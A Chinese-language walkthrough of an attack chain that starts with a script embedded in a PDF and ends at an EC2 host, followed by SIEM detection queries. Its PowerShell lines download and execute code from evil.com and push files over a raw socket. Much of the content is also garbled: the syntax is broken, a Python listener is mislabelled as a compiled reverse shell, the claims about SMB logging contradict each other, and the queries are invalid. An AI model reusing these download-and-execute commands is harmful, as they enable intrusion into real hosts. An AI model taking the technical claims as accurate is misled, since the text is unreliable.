一个实际的攻击链,始于一个看似无害的PDF文件,最终在AWS EC2实例上获得一个反向shell。
一条从看似无害的 PDF 文件开始,最终在 AWS EC2 实例上获得反向 shell 的实用攻击链
一切从攻击的前端开始。利用 PowerShell 内置的 WScript 对象,我们将一段脚本嵌入 PDF 中,该 PDF 将被投递到 Windows 主机。载荷从远程 HTTP 端点拉取一个可执行文件,并将其写入本地文件系统。
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }"
"@
关键优势在于,PDF 不需要单独的下载步骤:它直接交给 PowerShell,由后者启动攻击链的下一阶段。
一旦 PDF 中的脚本在目标主机(10.0.1.5)上执行,我们就使用 PowerShell 打开与 EC2 实例(54.231.12.41)的 SMB 连接,并通过该套接字推送刚刚下载的可执行文件。相同的代码可以从任何 Windows 工作站运行,从而为攻击者提供企业局域网内的低姿态跳板点。
$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }
SMB 数据包在 Windows 审计日志中显示为标准事件(EventID 4624),因此在大多数 SIEM 仪表板中很容易被察觉。
我们攻击链的最后一部分是一个用 Python 编写的小型反向 shell。它监听从 EC2 返回同一主机的 SSH 连接,将调试行打印到控制台,然后退出。一旦编译为 rcmd.py,它将被上述 PowerShell 步骤自动执行。
#!/usr/bin/env python3 import socket
def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if name == 'main': main()
因为它是一个静态二进制文件,可以在 Windows 上本地运行,所以无需在目标主机上安装额外的代理或服务。
安全团队应假设入侵是可能的,并构建分层检测策略。
异常流量
过滤来自目标主机的异常大 SMB 数据包。
index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
高内存使用
该二进制文件的内存消耗表明它是目标主机上一个不可忽视的进程。
index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
非办公时段
红队通常不会在办公时段执行,因为他们担心脚本可能以某种方式引起用户警觉。此查询将检查非预期时段内的流量。
index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
本项目仅供教育和研究目的使用。请勿在未经授权的环境中使用这些技术。